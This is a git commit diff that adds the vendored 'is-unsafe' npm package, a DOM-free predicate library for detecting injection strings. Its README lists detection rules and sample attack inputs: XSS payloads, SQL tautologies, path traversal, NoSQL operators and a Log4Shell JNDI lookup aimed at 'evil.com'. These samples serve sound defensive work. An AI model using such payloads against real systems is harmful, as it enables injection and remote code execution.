parsing blog successfully and requesting youtube
This commit is contained in:
21
node_modules/is-unsafe/LICENSE
generated
vendored
Normal file
21
node_modules/is-unsafe/LICENSE
generated
vendored
Normal file
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2026 Natural Intelligence
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
632
node_modules/is-unsafe/README.md
generated
vendored
Normal file
632
node_modules/is-unsafe/README.md
generated
vendored
Normal file
@@ -0,0 +1,632 @@
|
||||
# `is-unsafe`
|
||||
|
||||
> Zero-dependency, DOM-free, tree-shakeable pure predicate for detecting unsafe strings across HTML, XML, SVG, SQL, SQL-STRICT, SHELL, REDOS, NOSQL, and LOG contexts.
|
||||
|
||||
[](https://www.npmjs.com/package/is-unsafe)
|
||||
[](LICENSE)
|
||||
|
||||
---
|
||||
|
||||
## Why `is-unsafe`?
|
||||
|
||||
Sanitizer libraries like [DOMPurify](https://github.com/cure53/DOMPurify) require a DOM. They cannot run inside XML parsers, template engines, or server-side pipelines that process strings before they ever reach a browser.
|
||||
|
||||
`is-unsafe` fills that gap. It is a **pure predicate** — it answers one question:
|
||||
|
||||
> *Is this string value unsafe in a given context?*
|
||||
|
||||
It never mutates strings. It never touches the DOM. It has zero runtime dependencies.
|
||||
|
||||
### Motivating use case: `@nodable/entities` / `fast-xml-parser`
|
||||
|
||||
DOCTYPE blocks can define custom entities with arbitrary values:
|
||||
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE urlset [
|
||||
<!ENTITY xss '</script><script>alert(document.domain)</script><x y="'>
|
||||
]>
|
||||
<urlset>
|
||||
<url><loc>https://example.com/&xss;</loc></url>
|
||||
</urlset>
|
||||
```
|
||||
|
||||
When `@nodable/entities` resolves `&xss;`, it produces a raw string containing `</script><script>alert(...)`. Whether that string is dangerous depends on where it ends up. `is-unsafe` answers that question — without a DOM.
|
||||
|
||||
---
|
||||
|
||||
## Installation
|
||||
|
||||
```sh
|
||||
npm install is-unsafe
|
||||
```
|
||||
|
||||
> **Always check the final string.** If your code builds a value by concatenating parts, call `isUnsafe` on the *result*, not on the pieces. Two harmless strings can become unsafe only once joined:
|
||||
>
|
||||
> ```js
|
||||
> const a = 'java', b = 'script:alert(1)';
|
||||
> isUnsafe(a, HTML); // false
|
||||
> isUnsafe(b, HTML); // false
|
||||
> isUnsafe(a + b, HTML); // true ← check this one
|
||||
> ```
|
||||
|
||||
---
|
||||
|
||||
## Quick start
|
||||
|
||||
```js
|
||||
import { isUnsafe, HTML, SQL, SHELL, REDOS, NOSQL, LOG } from 'is-unsafe';
|
||||
|
||||
isUnsafe('<script>alert(1)</script>', HTML) // → true
|
||||
isUnsafe('New York, NY', HTML) // → false
|
||||
|
||||
isUnsafe("' OR 1=1--", SQL) // → true
|
||||
isUnsafe('../etc/passwd', SHELL) // → true
|
||||
isUnsafe('(a+)+', REDOS) // → true (ReDoS risk)
|
||||
isUnsafe('{"$ne": null}', NOSQL) // → true
|
||||
isUnsafe('${jndi:ldap://evil.com}', LOG) // → true (Log4Shell)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## v2 Migration guide
|
||||
|
||||
v2 replaces string context names with **imported pattern arrays**. This is the only breaking change.
|
||||
|
||||
| v1 | v2 |
|
||||
|----|----|
|
||||
| `import { isUnsafe, VALID_CONTEXTS } from 'is-unsafe'` | `import { isUnsafe, HTML, XML } from 'is-unsafe'` |
|
||||
| `isUnsafe(v, 'HTML')` | `isUnsafe(v, HTML)` |
|
||||
| `isUnsafe(v, ['HTML', 'XML'])` | `isUnsafe(v, [HTML, XML])` |
|
||||
| `for (const ctx in VALID_CONTEXTS) { isUnsafe(v, ctx) }` | `for (const ctx of Object.values(VALID_CONTEXTS)) { isUnsafe(v, ctx) }` |
|
||||
|
||||
**Why the change?** String names required a central registry that imported all 9 context modules unconditionally. Even if you only used `HTML` and `XML`, your bundle included all contexts (~22 KB dead weight). With named imports, bundlers include only what you actually import.
|
||||
|
||||
---
|
||||
|
||||
## API
|
||||
|
||||
### `isUnsafe(value, context)` → `boolean`
|
||||
|
||||
Returns `true` if `value` is unsafe in the given context, `false` otherwise.
|
||||
|
||||
| Parameter | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `value` | `string` | The string to test. Throws `TypeError` if not a string. |
|
||||
| `context` | `PatternList \| PatternList[] \| RegExp` | A named context import, array of context imports, or a custom `RegExp`. |
|
||||
|
||||
```js
|
||||
import { isUnsafe, HTML, XML } from 'is-unsafe';
|
||||
|
||||
// Single context
|
||||
isUnsafe(value, HTML)
|
||||
|
||||
// Multiple contexts — true if unsafe in ANY of them
|
||||
isUnsafe(value, [HTML, XML])
|
||||
|
||||
// Custom RegExp — true if pattern matches
|
||||
isUnsafe(value, /my-pattern/i)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `whyUnsafe(value, context)` → `MatchResult | null`
|
||||
|
||||
Like `isUnsafe`, but returns a `MatchResult` object describing the **first** matching rule, or `null` if the value is safe. Useful for logging and error messages.
|
||||
|
||||
```js
|
||||
import { whyUnsafe, HTML } from 'is-unsafe';
|
||||
|
||||
const result = whyUnsafe('<script>alert(1)</script>', HTML);
|
||||
// {
|
||||
// context: 'HTML',
|
||||
// id: 'html-script-open',
|
||||
// description: '<script opening tag',
|
||||
// pattern: /<script[\s>/]/i
|
||||
// }
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### `allUnsafe(value, context)` → `MatchResult[]`
|
||||
|
||||
Returns **all** matching rules across the given context(s), or an empty array if safe. Useful for comprehensive audits.
|
||||
|
||||
```js
|
||||
import { allUnsafe, HTML } from 'is-unsafe';
|
||||
|
||||
const findings = allUnsafe('<script onload="x"></script>', HTML);
|
||||
// [
|
||||
// { context: 'HTML', id: 'html-script-open', ... },
|
||||
// { context: 'HTML', id: 'html-script-close', ... },
|
||||
// { context: 'HTML', id: 'html-inline-event-handler', ... }
|
||||
// ]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Named context exports
|
||||
|
||||
Each context is a named export. Import only what your code uses — unused contexts are dropped by your bundler.
|
||||
|
||||
```js
|
||||
import { HTML, XML, SVG, SQL, SQL_STRICT, SHELL, REDOS, NOSQL, LOG } from 'is-unsafe';
|
||||
```
|
||||
|
||||
Note: `SQL-STRICT` is exported as `SQL_STRICT` (hyphens are not valid in JS identifiers).
|
||||
|
||||
---
|
||||
|
||||
### Custom `PatternList`
|
||||
|
||||
You can supply your own pattern list alongside or instead of the built-in contexts:
|
||||
|
||||
```js
|
||||
import { isUnsafe, whyUnsafe, HTML } from 'is-unsafe';
|
||||
|
||||
const INTERNAL_RULES = [
|
||||
{ id: 'no-internal-ref', description: 'Blocks references to internal hostnames', pattern: /\.internal\b/i },
|
||||
{ id: 'no-admin-path', description: 'Blocks paths starting with /admin', pattern: /\/admin\b/i },
|
||||
];
|
||||
|
||||
// Optional — sets the context label in MatchResult. Defaults to 'CUSTOM'.
|
||||
INTERNAL_RULES.label = 'INTERNAL';
|
||||
|
||||
isUnsafe('https://api.internal/data', INTERNAL_RULES) // true
|
||||
isUnsafe('https://example.com/page', INTERNAL_RULES) // false
|
||||
|
||||
// Mix with built-in contexts
|
||||
isUnsafe(value, [HTML, INTERNAL_RULES]);
|
||||
|
||||
const result = whyUnsafe('https://api.internal/admin', INTERNAL_RULES);
|
||||
// { context: 'INTERNAL', id: 'no-internal-ref', description: '...', pattern: /.../ }
|
||||
```
|
||||
|
||||
Without setting `.label`, `MatchResult.context` will be `'CUSTOM'`.
|
||||
|
||||
#### Entity decoding (v2.0.3+)
|
||||
|
||||
The built-in `HTML`, `XML` and `SVG` contexts test each rule against both the raw string and an entity-decoded copy, because browsers decode character references (`:`, `:`, `:`, `	`, `
`) before interpreting a URL.
|
||||
|
||||
A custom `PatternList` does **not** do this by default. Set `decodeEntities` to opt in:
|
||||
|
||||
```js
|
||||
const INTERNAL_RULES = [
|
||||
{ id: 'no-js-url', description: 'Blocks javascript: URLs', pattern: /javascript:/i },
|
||||
];
|
||||
|
||||
isUnsafe('javascript:alert(1)', INTERNAL_RULES); // false (raw match only)
|
||||
|
||||
INTERNAL_RULES.decodeEntities = true;
|
||||
isUnsafe('javascript:alert(1)', INTERNAL_RULES); // true (decoded copy also tested)
|
||||
```
|
||||
|
||||
Enable it only for markup contexts. Leave it off for SQL, shell, log and similar rules, which should match the string exactly as supplied.
|
||||
---
|
||||
|
||||
|
||||
|
||||
### `VALID_CONTEXTS`
|
||||
|
||||
A convenience object that re-exports all contexts under their canonical names. Useful for tooling or exhaustive checks across all contexts.
|
||||
|
||||
> **Warning:** importing `VALID_CONTEXTS` pulls in all 9 context modules. If your bundle size matters and you only need a few contexts, import them individually instead.
|
||||
|
||||
```js
|
||||
import { VALID_CONTEXTS } from 'is-unsafe';
|
||||
|
||||
// { HTML: [...], XML: [...], SVG: [...], SQL: [...], 'SQL-STRICT': [...],
|
||||
// SHELL: [...], REDOS: [...], NOSQL: [...], LOG: [...] }
|
||||
|
||||
// Iterate all contexts:
|
||||
for (const [name, ctx] of Object.entries(VALID_CONTEXTS)) {
|
||||
if (isUnsafe(value, ctx)) console.log(`Unsafe in ${name}`);
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Contexts
|
||||
|
||||
### `HTML`
|
||||
|
||||
XSS vectors when a string is rendered as HTML:
|
||||
|
||||
| Rule ID | What it catches |
|
||||
|---------|----------------|
|
||||
| `html-script-open` | `<script` opening tag |
|
||||
| `html-script-close` | `</script>` closing tag |
|
||||
| `html-javascript-protocol` | `javascript:` URI (with whitespace obfuscation) |
|
||||
| `html-vbscript-protocol` | `vbscript:` URI |
|
||||
| `html-data-html` | `data:text/html` URI |
|
||||
| `html-data-xhtml` | `data:application/xhtml+xml` URI |
|
||||
| `html-data-svg` | `data:image/svg+xml` URI |
|
||||
| `html-inline-event-handler` | `onclick=`, `onerror=`, `onload=`, etc. |
|
||||
| `html-entity-obfuscated-script` | `<script`, `<script`, `<script` |
|
||||
| `html-entity-obfuscated-javascript` | Entity-encoded leading letters of `javascript:` (colon/letter/tab encodings are also caught — see *Entity decoding* below) |
|
||||
| `html-style-expression` | CSS `expression()` — IE code execution |
|
||||
| `html-object-embed` | `<object>` and `<embed>` tags |
|
||||
| `html-base-tag` | `<base href=` — relative URL hijacking |
|
||||
| `html-meta-refresh` | `<meta http-equiv="refresh"` |
|
||||
| `html-srcdoc` | `srcdoc=` attribute on iframes |
|
||||
| `html-iframe` | `<iframe` tag |
|
||||
| `html-form` | `<form` tag — phishing injection |
|
||||
|
||||
---
|
||||
|
||||
**Entity decoding (HTML, XML, SVG).** Browsers decode character references before interpreting a URL, so `javascript:alert(1)` is a `javascript:` URL. These three contexts therefore test every rule against the raw input **and** an entity-decoded copy. Decoded forms: decimal/hex numeric references (any leading zeros, semicolon optional), `:`, `	`, `
`. Named references are case-sensitive and need `;`. `&` is intentionally not decoded (double-encoded text renders as text). Other contexts (SQL, SHELL, LOG, …) are matched byte-for-byte.
|
||||
|
||||
---
|
||||
|
||||
### `XML`
|
||||
|
||||
Parser-level attacks in XML documents (distinct from HTML XSS):
|
||||
|
||||
| Rule ID | What it catches |
|
||||
|---------|----------------|
|
||||
| `xml-cdata-injection` | `<![CDATA[` injection |
|
||||
| `xml-cdata-close` | `]]>` — closes an enclosing CDATA section |
|
||||
| `xml-processing-instruction` | `<?xml-stylesheet`, `<?php`, `<?asp` |
|
||||
| `xml-doctype-injection` | `<!DOCTYPE` embedded in content |
|
||||
| `xml-entity-system` | `SYSTEM "..."` — XXE external entity |
|
||||
| `xml-entity-public` | `PUBLIC "..."` — XXE external entity |
|
||||
| `xml-entity-declaration` | `<!ENTITY` declaration |
|
||||
| `xml-billion-laughs` | Repeated entity refs `&e1;&e2;&e3;` — expansion attack |
|
||||
| `xml-namespace-confusion` | `xmlns=` attribute injection |
|
||||
| `xml-comment-injection` | `<!--` comment open |
|
||||
| `xml-comment-close` | `-->` comment close |
|
||||
| `xml-pi-close` | `?>` processing instruction close |
|
||||
|
||||
---
|
||||
|
||||
### `SVG`
|
||||
|
||||
SVG-specific XSS vectors that bypass HTML-only sanitizers (including documented DOMPurify bypass patterns):
|
||||
|
||||
| Rule ID | What it catches |
|
||||
|---------|----------------|
|
||||
| `svg-script-element` | `<script` inside SVG |
|
||||
| `svg-xlink-href-javascript` | `xlink:href="javascript:..."` |
|
||||
| `svg-href-javascript` | `href="javascript:..."` |
|
||||
| `svg-foreignobject` | `<foreignObject>` — embeds HTML inside SVG |
|
||||
| `svg-use-external` | `<use href=` pointing to external URL |
|
||||
| `svg-animate-href` | `<animate attributeName="href"` — dynamic href injection |
|
||||
| `svg-animate-xlinkhref` | `<animate attributeName="xlink:href"` |
|
||||
| `svg-set-javascript` | `<set to="javascript:..."` |
|
||||
| `svg-event-handler` | SVG event handlers (`onload=`, `onactivate=`, `onbegin=`, etc.) |
|
||||
| `svg-filter-feimage` | `<feImage href=` — external resource load |
|
||||
| `svg-image-external` | `<image xlink:href=` with http/javascript URL |
|
||||
| `svg-style-javascript` | `style=` containing `javascript:` |
|
||||
|
||||
---
|
||||
|
||||
### `SQL` and `SQL_STRICT`
|
||||
|
||||
Two tiers of SQL injection detection, chosen based on what kind of input you're validating.
|
||||
|
||||
**Use `SQL`** for general user-facing fields (names, descriptions, search queries). Its 15 rules are high-precision with very low false-positive risk.
|
||||
|
||||
**Use `SQL_STRICT`** when the input is specifically a SQL fragment or database identifier — it includes all `SQL` rules plus three additional rules that would produce false positives on general text:
|
||||
|
||||
| Extra rule in SQL_STRICT | Why it's noisy on general text |
|
||||
|--------------------------|-------------------------------|
|
||||
| `sql-line-comment` (`--`) | Fires on `"see note -- above"`, CSS `var(--primary)` |
|
||||
| `sql-stacked-query` (`;SELECT`) | Semicolons are normal punctuation |
|
||||
| `sql-hex-encoding` (`0xDEAD`) | Hex values appear in technical docs and logs |
|
||||
|
||||
**Base `SQL` rules (present in both):**
|
||||
|
||||
| Rule ID | What it catches |
|
||||
|---------|----------------|
|
||||
| `sql-block-comment` | `/*` — comment-based bypass |
|
||||
| `sql-union-select` | `UNION SELECT` — data extraction |
|
||||
| `sql-tautology-or` | `OR 1=1`, `OR 'a'='a'` — always-true bypass |
|
||||
| `sql-tautology-and` | `AND 1=1`, `AND 'a'='a'` |
|
||||
| `sql-quote-escape` | `\'` or `''` — string termination attempts |
|
||||
| `sql-drop-table` | `DROP TABLE` |
|
||||
| `sql-insert-into` | `INSERT INTO` |
|
||||
| `sql-delete-from` | `DELETE FROM` |
|
||||
| `sql-update-set` | `UPDATE ... SET` |
|
||||
| `sql-exec-xp` | `EXEC xp_` — SQL Server extended procedures |
|
||||
| `sql-sleep-waitfor` | `SLEEP(` / `WAITFOR DELAY` — time-based blind injection |
|
||||
| `sql-cast-convert` | `CAST(` / `CONVERT(` — obfuscation |
|
||||
| `sql-char-function` | `CHAR(` — ASCII character encoding |
|
||||
| `sql-information-schema` | `INFORMATION_SCHEMA` — metadata extraction |
|
||||
| `sql-load-file` | `LOAD_FILE(` / `INTO OUTFILE` — file system access |
|
||||
|
||||
---
|
||||
|
||||
### `SHELL`
|
||||
|
||||
Shell injection and path traversal vectors:
|
||||
|
||||
| Rule ID | What it catches |
|
||||
|---------|----------------|
|
||||
| `shell-path-traversal-unix` | `../` — Unix directory traversal |
|
||||
| `shell-path-traversal-win` | `..\` — Windows directory traversal |
|
||||
| `shell-absolute-path-unix` | Leading `/` — absolute Unix path |
|
||||
| `shell-absolute-path-win` | `C:\` / `D:\` etc. — absolute Windows path |
|
||||
| `shell-null-byte` | `\x00` or `%00` — null byte injection |
|
||||
| `shell-command-subst` | `` `cmd` `` / `$(cmd)` — command substitution |
|
||||
| `shell-pipe` | `|` — command piping |
|
||||
| `shell-semicolon` | `;` — command chaining |
|
||||
| `shell-ampersand` | `&&` / `&` — background / logical AND |
|
||||
| `shell-redirect` | `>` / `>>` / `<` — I/O redirection |
|
||||
|
||||
---
|
||||
|
||||
### `REDOS`
|
||||
|
||||
Patterns dangerous when compiled as a RegExp (catastrophic backtracking):
|
||||
|
||||
| Rule ID | What it catches |
|
||||
|---------|----------------|
|
||||
| `redos-nested-quantifier` | `(a+)+`, `(a*)*` — nested quantifiers |
|
||||
| `redos-overlapping-alternation` | `(a|a)+` — ambiguous alternation |
|
||||
| `redos-star-plus-adjacent` | `a*+` / `(a+)*` — adjacent unbounded quantifiers |
|
||||
|
||||
---
|
||||
|
||||
### `NOSQL`
|
||||
|
||||
MongoDB query operator injection and prototype pollution:
|
||||
|
||||
| Rule ID | What it catches |
|
||||
|---------|----------------|
|
||||
| `nosql-where-operator` | `$where:` — server-side JS execution |
|
||||
| `nosql-ne-operator` | `$ne:` — not-equal authentication bypass |
|
||||
| `nosql-gt-operator` | `$gt:` / `$gte:` — greater-than bypass |
|
||||
| `nosql-lt-operator` | `$lt:` / `$lte:` — less-than bypass |
|
||||
| `nosql-regex-operator` | `$regex:` — blind character-by-character extraction |
|
||||
| `nosql-or-operator` | `$or: [` — always-true condition injection |
|
||||
| `nosql-and-operator` | `$and: [` — logical AND injection |
|
||||
| `nosql-nor-operator` | `$nor: [` — logical NOR injection |
|
||||
| `nosql-exists-operator` | `$exists:` — field enumeration |
|
||||
| `nosql-in-operator` | `$in: [` — value enumeration |
|
||||
| `nosql-expr-operator` | `$expr:` — aggregation expression injection |
|
||||
| `nosql-function-operator` | `$function:` — arbitrary JavaScript (MongoDB 4.4+) |
|
||||
| `nosql-accumulator-operator` | `$accumulator:` — custom JS aggregation |
|
||||
| `nosql-proto-pollution` | `__proto__` — prototype pollution |
|
||||
| `nosql-constructor-prototype` | `constructor.prototype` or JSON key adjacency |
|
||||
| `nosql-proto-bracket` | `["__proto__"]` — bracket-notation prototype pollution |
|
||||
|
||||
Patterns handle both bare form (`$ne: null`) and JSON key form (`{"$ne": null}`) by allowing an optional closing quote between the operator name and the colon.
|
||||
|
||||
---
|
||||
|
||||
### `LOG`
|
||||
|
||||
Injection vectors dangerous when a string is written to a log file or passed to a logging framework:
|
||||
|
||||
| Rule ID | What it catches |
|
||||
|---------|----------------|
|
||||
| `log-crlf-injection` | Literal `\r` or `\n` — fake log line injection |
|
||||
| `log-url-encoded-crlf` | `%0d`, `%0a`, `%0D`, `%0A` — URL-encoded newlines |
|
||||
| `log-unicode-newline` | U+2028, U+2029 — Unicode line/paragraph separators |
|
||||
| `log-log4shell-jndi` | `${jndi:...}` — Log4Shell RCE (CVE-2021-44228) |
|
||||
| `log-log4shell-obfuscated` | `${::-` — Log4j WAF-bypass prefix |
|
||||
| `log-log4j-lookup` | `${env:}`, `${sys:}`, `${ctx:}` — data exfiltration lookups |
|
||||
| `log-ssti-double-brace` | `{{expression}}` — Jinja2, Twig, Handlebars SSTI |
|
||||
| `log-ssti-hash-brace` | `#{expression}` — Thymeleaf, Velocity, ERB SSTI |
|
||||
| `log-ssti-dollar-brace` | `${expr.method()}` — JSP EL, Freemarker, SpEL SSTI |
|
||||
| `log-ssti-percent-tag` | `<%= expression %>` — Ruby ERB, ASP |
|
||||
| `log-null-byte` | `\x00` or `%00` — truncates log entries |
|
||||
| `log-ansi-escape` | `ESC[` — ANSI escape sequences that manipulate terminal output |
|
||||
|
||||
> **Note:** The `log-crlf-injection` rule flags literal newline characters (`\n`, `\r`). Apply `LOG` only to single-line log field values (usernames, IDs, request parameters), not to multi-line content.
|
||||
|
||||
---
|
||||
|
||||
## Integration examples
|
||||
|
||||
### `@nodable/entities` — `postCheck` callback (the motivating use case)
|
||||
|
||||
```js
|
||||
import { isUnsafe, HTML } from 'is-unsafe';
|
||||
import { EntityDecoder, ALL_ENTITIES } from '@nodable/entities';
|
||||
|
||||
const dec = new EntityDecoder({
|
||||
namedEntities: ALL_ENTITIES,
|
||||
postCheck: (resolved, original) => {
|
||||
if (isUnsafe(resolved, HTML)) {
|
||||
return original; // keep literal &entity; reference
|
||||
// or: throw new Error(`Unsafe entity blocked: ${original}`);
|
||||
// or: return '[BLOCKED]';
|
||||
}
|
||||
return resolved;
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
Only `html.js` ends up in your bundle — `XML`, `SQL`, and all other contexts are excluded automatically.
|
||||
|
||||
### `fast-xml-parser` — entity check for HTML + XML contexts
|
||||
|
||||
```js
|
||||
import { isUnsafe, HTML, XML } from 'is-unsafe';
|
||||
|
||||
onInputEntity: (name, value) =>
|
||||
isUnsafe(value, [HTML, XML]) ? ENTITY_ACTION.BLOCK : ENTITY_ACTION.ALLOW,
|
||||
```
|
||||
|
||||
Bundle cost: only `html.js` + `xml.js` (~5.8 KB).
|
||||
|
||||
### Logging with `whyUnsafe`
|
||||
|
||||
```js
|
||||
import { isUnsafe, whyUnsafe, HTML, SQL } from 'is-unsafe';
|
||||
|
||||
function safeInsert(value, context) {
|
||||
if (isUnsafe(value, context)) {
|
||||
const reason = whyUnsafe(value, context);
|
||||
logger.warn('Blocked unsafe value', { ruleId: reason.id, context: reason.context });
|
||||
throw new Error(`Unsafe value rejected (${reason.id})`);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
```
|
||||
|
||||
### Auditing with `allUnsafe`
|
||||
|
||||
```js
|
||||
import { allUnsafe, HTML, SQL, SHELL } from 'is-unsafe';
|
||||
|
||||
const findings = allUnsafe(userInput, [HTML, SQL, SHELL]);
|
||||
if (findings.length > 0) {
|
||||
auditLog.record({ input: userInput, findings: findings.map(f => f.id) });
|
||||
}
|
||||
```
|
||||
|
||||
### SQL vs SQL_STRICT — choosing the right tier
|
||||
|
||||
```js
|
||||
import { isUnsafe, SQL, SQL_STRICT } from 'is-unsafe';
|
||||
|
||||
// General text field (name, description, comment) — use SQL
|
||||
function validateUserBio(bio) {
|
||||
if (isUnsafe(bio, SQL)) throw new Error('Invalid content');
|
||||
return bio;
|
||||
}
|
||||
|
||||
// Dedicated SQL identifier input (table name picker, column filter) — use SQL_STRICT
|
||||
function validateTableName(name) {
|
||||
if (isUnsafe(name, SQL_STRICT)) throw new Error('Invalid identifier');
|
||||
return name;
|
||||
}
|
||||
|
||||
validateUserBio("see note -- above"); // passes (-- alone is fine for general text)
|
||||
validateTableName("users -- comment"); // blocked by SQL_STRICT
|
||||
```
|
||||
|
||||
### File upload path guard
|
||||
|
||||
```js
|
||||
import { isUnsafe, SHELL } from 'is-unsafe';
|
||||
|
||||
function validateUploadPath(filename) {
|
||||
if (isUnsafe(filename, SHELL)) throw new Error('Invalid filename');
|
||||
return filename;
|
||||
}
|
||||
|
||||
validateUploadPath('document.pdf'); // OK
|
||||
validateUploadPath('../../../etc/passwd'); // throws
|
||||
validateUploadPath('file.txt\x00.jpg'); // throws (null byte)
|
||||
```
|
||||
|
||||
### User-supplied regex guard
|
||||
|
||||
```js
|
||||
import { isUnsafe, whyUnsafe, REDOS } from 'is-unsafe';
|
||||
|
||||
function compileUserRegex(pattern) {
|
||||
if (isUnsafe(pattern, REDOS)) {
|
||||
const detail = whyUnsafe(pattern, REDOS);
|
||||
throw new Error(`ReDoS risk in pattern (${detail.id})`);
|
||||
}
|
||||
return new RegExp(pattern);
|
||||
}
|
||||
|
||||
compileUserRegex('^[a-z]+$'); // OK
|
||||
compileUserRegex('(a+)+'); // throws — nested quantifier
|
||||
```
|
||||
|
||||
### MongoDB input guard
|
||||
|
||||
```js
|
||||
import { isUnsafe, NOSQL } from 'is-unsafe';
|
||||
|
||||
function safeMongoValue(value) {
|
||||
if (isUnsafe(value, NOSQL)) throw new Error('Unsafe MongoDB value');
|
||||
return value;
|
||||
}
|
||||
|
||||
safeMongoValue('alice'); // OK
|
||||
safeMongoValue('{"$ne": null}'); // throws — $ne bypass
|
||||
safeMongoValue('__proto__'); // throws — prototype pollution
|
||||
```
|
||||
|
||||
### Log field guard
|
||||
|
||||
```js
|
||||
import { isUnsafe, LOG } from 'is-unsafe';
|
||||
|
||||
function safeLogField(value) {
|
||||
if (isUnsafe(value, LOG)) throw new Error('Unsafe log value');
|
||||
return value;
|
||||
}
|
||||
|
||||
safeLogField('alice'); // OK
|
||||
safeLogField('${jndi:ldap://evil.com}'); // throws — Log4Shell
|
||||
safeLogField("value\nfake log entry"); // throws — CRLF injection
|
||||
```
|
||||
|
||||
### Checking all contexts (tooling / security scanners)
|
||||
|
||||
```js
|
||||
import { isUnsafe, VALID_CONTEXTS } from 'is-unsafe';
|
||||
|
||||
for (const [name, ctx] of Object.entries(VALID_CONTEXTS)) {
|
||||
if (isUnsafe(value, ctx)) {
|
||||
console.log(`Unsafe in ${name}`);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
> Note: this import brings in all 9 context modules. Fine for CLI tools and scanners; use individual named imports in application bundles.
|
||||
|
||||
---
|
||||
|
||||
## Design principles
|
||||
|
||||
| Principle | Detail |
|
||||
|-----------|--------|
|
||||
| **Predicate only** | Returns `true`/`false`. Never mutates strings. |
|
||||
| **Zero dependencies** | No jsdom, no DOM, no framework coupling. |
|
||||
| **Tree-shakeable** | Each context is an independent named export. Unused contexts are dropped by bundlers. |
|
||||
| **Context-aware** | "Unsafe" is not absolute — it depends on where the value will be used. |
|
||||
| **Caller decides action** | `is-unsafe` classifies. Escaping, throwing, or logging is the caller's responsibility. |
|
||||
| **ReDoS-safe** | All detection patterns use bounded quantifiers. The irony of a security package triggering its own vulnerability (as the `sql-injection` npm package does) is avoided by design. |
|
||||
| **Extensible** | Custom `PatternList` arrays work alongside built-in contexts. Set `.label` on your list to get meaningful context names in `MatchResult`. |
|
||||
| **False positives over false negatives** | In parser context, blocking a legitimate value is better than passing a malicious one. |
|
||||
|
||||
---
|
||||
|
||||
## What `is-unsafe` is NOT
|
||||
|
||||
- **Not a sanitizer** — it does not modify strings
|
||||
- **Not a middleware** — no Express/Koa coupling
|
||||
- **Not a firewall** — it does not block requests
|
||||
- **Not a complete security solution** — one layer of defence-in-depth
|
||||
|
||||
---
|
||||
|
||||
## Comparison with existing packages
|
||||
|
||||
| Package | Problem |
|
||||
|---------|---------|
|
||||
| `dompurify` | Requires DOM/jsdom. Sanitizer, not predicate. Has documented SVG/XML bypass vulnerabilities. |
|
||||
| `xss` | Sanitizer — rewrites the string. HTML-only. No predicate API. |
|
||||
| `xss-filters` | Explicitly documented as unable to be used inside `<svg>`, `<object>`, `<embed>`. |
|
||||
| `xss-checker` | 465 kB payload list, 6 years abandoned, 5 dependents. |
|
||||
| `is-sql-injection` | Philosophically closest, but v1.0.0 only, 8 years abandoned, 19 dependents. |
|
||||
| `sql-injection` | Express middleware. Has an active ReDoS CVE on its own detection patterns. |
|
||||
| **`is-unsafe`** | Actively maintained. DOM-free. Pure predicate. Tree-shakeable. Covers HTML, XML, SVG, SQL (two tiers), SHELL, REDOS, NOSQL, and LOG as distinct contexts. |
|
||||
|
||||
The `SVG` context is the key differentiator for XSS — no existing package covers SVG-specific vectors (`xlink:href`, `foreignObject`, `animate`/`set` element attacks). The `XML` context covers parser-level attacks that DOMPurify has documented bypass vulnerabilities for. The `NOSQL` and `LOG` contexts (including Log4Shell) have no equivalent in any current predicate package.
|
||||
|
||||
---
|
||||
|
||||
## Running tests
|
||||
|
||||
```sh
|
||||
npm install
|
||||
npm test
|
||||
```
|
||||
|
||||
Tests use [Jasmine](https://jasmine.github.io/). Source in `src/`, specs in `specs/`.
|
||||
|
||||
---
|
||||
|
||||
## License
|
||||
|
||||
MIT
|
||||
56
node_modules/is-unsafe/package.json
generated
vendored
Normal file
56
node_modules/is-unsafe/package.json
generated
vendored
Normal file
@@ -0,0 +1,56 @@
|
||||
{
|
||||
"name": "is-unsafe",
|
||||
"version": "2.0.3",
|
||||
"description": "Zero-dependency, DOM-free, pure predicate for detecting unsafe strings across HTML, XML, SVG, SQL, SHELL, and REGEX contexts",
|
||||
"type": "module",
|
||||
"main": "./src/index.js",
|
||||
"module": "./src/index.js",
|
||||
"exports": {
|
||||
".": {
|
||||
"import": "./src/index.js",
|
||||
"require": "./src/index.cjs"
|
||||
}
|
||||
},
|
||||
"types": "./src/index.d.ts",
|
||||
"sideEffects": false,
|
||||
"scripts": {
|
||||
"test": "jasmine **/*.spec.js",
|
||||
"test:watch": "nodemon --exec 'npm test' --watch src --watch specs"
|
||||
},
|
||||
"keywords": [
|
||||
"xss",
|
||||
"sql-injection",
|
||||
"security",
|
||||
"safe",
|
||||
"predicate",
|
||||
"sanitizer",
|
||||
"xml",
|
||||
"svg",
|
||||
"html",
|
||||
"shell-injection",
|
||||
"redos",
|
||||
"unsafe",
|
||||
"validator",
|
||||
"log",
|
||||
"nosql"
|
||||
],
|
||||
"repository": {
|
||||
"type": "git",
|
